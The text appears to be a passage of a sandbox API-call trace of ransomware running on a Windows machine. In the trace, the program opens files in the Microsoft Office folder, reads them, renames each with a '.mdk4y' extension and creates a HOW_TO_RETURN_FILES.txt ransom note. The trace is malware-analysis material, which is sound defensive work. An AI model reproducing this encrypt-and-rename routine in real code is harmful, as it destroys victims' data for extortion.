[0185.475] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="COFFEE.CSS", cchWideChar=10, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="COFFEE.CSSL", lpUsedDefaultChar=0x37df4c) returned 10 [0185.475] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\COFFEE.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\coffee.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0185.476] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826070600000) returned 1 [0185.476] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xd7a, lpOverlapped=0x0) returned 1 [0185.486] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826071600000) returned 1 [0185.486] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826071600000) returned 1 [0185.487] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\COFFEE.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\coffee.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\COFFEE.CSS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\coffee.css.mdk4y")) returned 1 [0185.487] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0185.487] AreFileApisANSI () returned 1 [0185.487] GetACP () returned 0x4e4 [0185.487] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CollectSignatures_Init.xsn", cchWideChar=26, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="CollectSignatures_Init.xsnNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37df4c) returned 26 [0185.488] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CollectSignatures_Init.xsn" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\collectsignatures_init.xsn"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0185.488] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826071800000) returned 1 [0185.488] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x35be, lpOverlapped=0x0) returned 1 [0185.504] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826073400000) returned 1 [0185.504] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826073400000) returned 1 [0185.504] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CollectSignatures_Init.xsn" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\collectsignatures_init.xsn"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CollectSignatures_Init.xsn.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\collectsignatures_init.xsn.mdk4y")) returned 1 [0185.506] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0185.506] AreFileApisANSI () returned 1 [0185.506] GetACP () returned 0x4e4 [0185.506] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CollectSignatures_Sign.xsn", cchWideChar=26, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="CollectSignatures_Sign.xsn", lpUsedDefaultChar=0x37df4c) returned 26 [0185.506] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CollectSignatures_Sign.xsn" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\collectsignatures_sign.xsn"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0185.506] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826073600000) returned 1 [0185.506] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x36fb, lpOverlapped=0x0) returned 1 [0185.561] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826079100000) returned 1 [0185.561] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826079100000) returned 1 [0185.561] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CollectSignatures_Sign.xsn" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\collectsignatures_sign.xsn"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CollectSignatures_Sign.xsn.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\collectsignatures_sign.xsn.mdk4y")) returned 1 [0185.562] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0185.562] AreFileApisANSI () returned 1 [0185.562] GetACP () returned 0x4e4 [0185.562] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ContactPickerIntl.dll", cchWideChar=21, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ContactPickerIntl.dlln.xsn", lpUsedDefaultChar=0x37df4c) returned 21 [0185.563] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0185.563] AreFileApisANSI () returned 1 [0185.563] GetACP () returned 0x4e4 [0185.563] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CT_ROOTS.XML", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="CT_ROOTS.XMLrIntl.dll", lpUsedDefaultChar=0x37df4c) returned 12 [0185.563] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CT_ROOTS.XML" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ct_roots.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0185.564] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826079300000) returned 1 [0185.564] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x17b5, lpOverlapped=0x0) returned 1 [0185.637] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826086700000) returned 1 [0185.637] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826086700000) returned 1 [0185.637] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CT_ROOTS.XML" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ct_roots.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CT_ROOTS.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ct_roots.xml.mdk4y")) returned 1 [0185.639] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0185.639] AreFileApisANSI () returned 1 [0185.639] GetACP () returned 0x4e4 [0185.639] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DataServices", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DataServices", lpUsedDefaultChar=0x37df4c) returned 12 [0185.639] AreFileApisANSI () returned 1 [0185.639] GetACP () returned 0x4e4 [0185.639] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d210, cbMultiByte=61, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\hἀk") returned 61 [0185.640] AreFileApisANSI () returned 1 [0185.640] GetACP () returned 0x4e4 [0185.640] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37dec0) returned 1 [0185.640] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0185.641] AreFileApisANSI () returned 1 [0185.641] GetACP () returned 0x4e4 [0185.641] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..:", lpUsedDefaultChar=0x37dec0) returned 2 [0185.641] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0185.641] AreFileApisANSI () returned 1 [0185.641] GetACP () returned 0x4e4 [0185.641] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="+Connect to New Data Source.odc", cchWideChar=31, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="+Connect to New Data Source.odc", lpUsedDefaultChar=0x37dec0) returned 31 [0185.641] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\+Connect to New Data Source.odc" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\+connect to new data source.odc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0185.642] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1826087200000) returned 1 [0185.642] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xbe, lpOverlapped=0x0) returned 1 [0185.643] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1826087300000) returned 1 [0185.643] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1826087300000) returned 1 [0185.643] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\+Connect to New Data Source.odc" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\+connect to new data source.odc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\+Connect to New Data Source.odc.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\+connect to new data source.odc.mdk4y")) returned 1 [0185.644] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0185.644] AreFileApisANSI () returned 1 [0185.644] GetACP () returned 0x4e4 [0185.644] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="+NewSQLServerConnection.odc", cchWideChar=27, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="+NewSQLServerConnection.odc.odc", lpUsedDefaultChar=0x37dec0) returned 27 [0185.644] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\+NewSQLServerConnection.odc" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\+newsqlserverconnection.odc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0185.644] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1826087400000) returned 1 [0185.644] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xc4, lpOverlapped=0x0) returned 1 [0185.645] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1826087500000) returned 1 [0185.645] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1826087500000) returned 1 [0185.645] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\+NewSQLServerConnection.odc" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\+newsqlserverconnection.odc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\+NewSQLServerConnection.odc.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\+newsqlserverconnection.odc.mdk4y")) returned 1 [0185.647] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0185.647] AreFileApisANSI () returned 1 [0185.647] GetACP () returned 0x4e4 [0185.647] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DESKTOP.INI", cchWideChar=11, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="DESKTOP.INIerConnection.odc", lpUsedDefaultChar=0x37dec0) returned 11 [0185.647] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\DESKTOP.INI" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0185.648] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1826087800000) returned 1 [0185.648] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x46, lpOverlapped=0x0) returned 1 [0185.649] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1826087900000) returned 1 [0185.649] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1826087900000) returned 1 [0185.649] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\DESKTOP.INI" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\desktop.ini"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\DESKTOP.INI.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\desktop.ini.mdk4y")) returned 1 [0185.650] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0185.650] AreFileApisANSI () returned 1 [0185.650] GetACP () returned 0x4e4 [0185.650] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FOLDER.ICO", cchWideChar=10, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="FOLDER.ICOI", lpUsedDefaultChar=0x37dec0) returned 10 [0185.650] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\folder.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0185.650] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1826088000000) returned 1 [0185.650] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1266, lpOverlapped=0x0) returned 1 [0185.652] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1826088100000) returned 1 [0185.652] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1826088200000) returned 1 [0185.652] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\folder.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\folder.ico.mdk4y")) returned 1 [0185.653] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 0 [0185.653] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0185.653] AreFileApisANSI () returned 1 [0185.653] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6ad838, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 85 [0185.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xd8 [0185.653] GetFileType (hFile=0xd8) returned 0x1 [0185.654] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0185.654] AreFileApisANSI () returned 1 [0185.654] GetACP () returned 0x4e4 [0185.654] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DBENGR.VSL", cchWideChar=10, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DBENGR.VSLes", lpUsedDefaultChar=0x37df4c) returned 10 [0185.655] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbengr.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0185.656] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826088600000) returned 1 [0185.656] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xcf98, lpOverlapped=0x0) returned 1 [0185.682] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826091200000) returned 1 [0185.682] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826091200000) returned 1 [0185.682] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbengr.vsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbengr.vsl.mdk4y")) returned 1 [0185.684] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0185.684] AreFileApisANSI () returned 1 [0185.684] GetACP () returned 0x4e4 [0185.684] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DBSAMPLE.MDB", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DBSAMPLE.MDB", lpUsedDefaultChar=0x37df4c) returned 12 [0185.684] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBSAMPLE.MDB" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbsample.mdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0185.686] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826091600000) returned 1 [0185.686] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x76000, lpOverlapped=0x0) returned 1 [0185.720] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826095000000) returned 1 [0185.720] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826095000000) returned 1 [0185.726] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBSAMPLE.MDB" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbsample.mdb"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBSAMPLE.MDB.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbsample.mdb.mdk4y")) returned 1 [0185.727] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0185.727] AreFileApisANSI () returned 1 [0185.727] GetACP () returned 0x4e4 [0185.727] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DBWIZ.VSL", cchWideChar=9, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DBWIZ.VSLMDB", lpUsedDefaultChar=0x37df4c) returned 9 [0185.727] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbwiz.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0185.728] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826095800000) returned 1 [0185.728] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x28178, lpOverlapped=0x0) returned 1 [0185.795] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826102500000) returned 1 [0185.795] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826102500000) returned 1 [0185.797] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbwiz.vsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbwiz.vsl.mdk4y")) returned 1 [0185.835] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0185.835] AreFileApisANSI () returned 1 [0185.835] GetACP () returned 0x4e4 [0185.835] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DEFAULT.CSS", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DEFAULT.CSSB", lpUsedDefaultChar=0x37df4c) returned 11 [0185.835] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DEFAULT.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\default.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0185.836] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826106600000) returned 1 [0185.836] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xd7a, lpOverlapped=0x0) returned 1 [0185.838] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826106800000) returned 1 [0185.838] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826106800000) returned 1 [0185.838] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DEFAULT.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\default.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DEFAULT.CSS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\default.css.mdk4y")) returned 1 [0185.839] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0185.839] AreFileApisANSI () returned 1 [0185.839] GetACP () returned 0x4e4 [0185.840] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Discussion.gta", cchWideChar=14, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Discussion.gtantl.dll", lpUsedDefaultChar=0x37df4c) returned 14 [0185.840] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion.gta"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0185.841] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826107100000) returned 1 [0185.841] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x19984, lpOverlapped=0x0) returned 1 [0185.856] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: 